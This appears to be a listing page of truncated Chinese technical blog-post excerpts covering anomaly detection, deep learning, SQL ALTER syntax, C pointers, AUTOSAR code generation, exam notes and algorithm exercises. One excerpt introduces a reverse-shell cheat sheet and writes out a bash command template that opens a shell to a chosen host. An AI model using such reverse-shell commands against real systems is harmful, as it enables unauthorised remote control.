1. 概述 异常检测问题在工业图像数据分析中扮演着至关重要的角色，其目的是从大量正常数据中识别出异常行为或模式。这一任务的挑战在于，正常数据的样本相对容易获取，而异常情况却因其稀有性和多样性而难以收集。为了解决这一问题&#xff0c…

4. 深度学习 4.1. 概念 深度学习是一种机器学习的分支，旨在通过构建和训练多层神经网络模型来实现数据的高级特征表达和复杂模式识别。与传统机器学习算法相比，深度学习具有以下特点： 多层表示学习：深度学习使用深层神经网络&a…

目录 写在开头1. 引言2. ALTER语句基础2.1 ALTER语句简介2.2 语法结构 3. 常用的ALTER操作3.1 修改表结构添加新列删除列修改列定义 3.2 管理索引和键添加索引删除索引添加外键约束修改外键约束删除外键约束 3.3 重命名表和列表重命名列重命名更改表的字符集调整表选项分区管理…

目录 一、数组名的理解 二、使用指针访问数组 三、一维数组传参的本质 四、冒泡排序 五、二级指针 六、指针数组 正文开始 一、数组名的理解 在上一篇博客中我们在使用指针访问数组的内容时有这样的代码： int arr[10] {1,2,3,4,5,6,7,8,9,10}; int *p &…

目的 本文介绍通过AUTOSAR组织提供的xsd文件，自动生成对应的C#解析代码的框架。 自动生成方法：Microsoft SDKs\Windows\v7.0A\bin\xsd.exe 命令：xsd.exe AUTOSAR_4-0-3.xsd /c /l:CS /n:AUTOSAR4 AUTOSAR_4-0-3.xsd 是需要生成代码的xsd文…

反弹shell汇总 文章旨意在于总结各类反弹shell,有不足或漏缺请各位是否指出. 注意有些反弹shell的方法或脚本只适用于Linux或者Windows，注意区分相关脚本的编写方式方法。 bash bash -i >& /dev/[tcp|udp]/[host]/[port] 0>&1 /bin/bash -i >…

前言 本文基础知识部分来自于b站：分享笔记的好人儿的思维导图与王道考研课程，感谢大佬的开源精神，习题来自老师划的重点以及考研真题。此前我尝试了完全使用Python或是结合大语言模型对考研真题进行数据清洗与可视化分析，本人技术…

目录 第一章、HJ1计算字符串最后一个单词的长度，单词以空格隔开。1.1）描述1.2）解题第二章、算法题HJ2 计算某字符出现次数1.1）题目描述1.2）解题思路与答案第三章、算法题HJ3 明明的随机数1.1）题目描述1.2&a…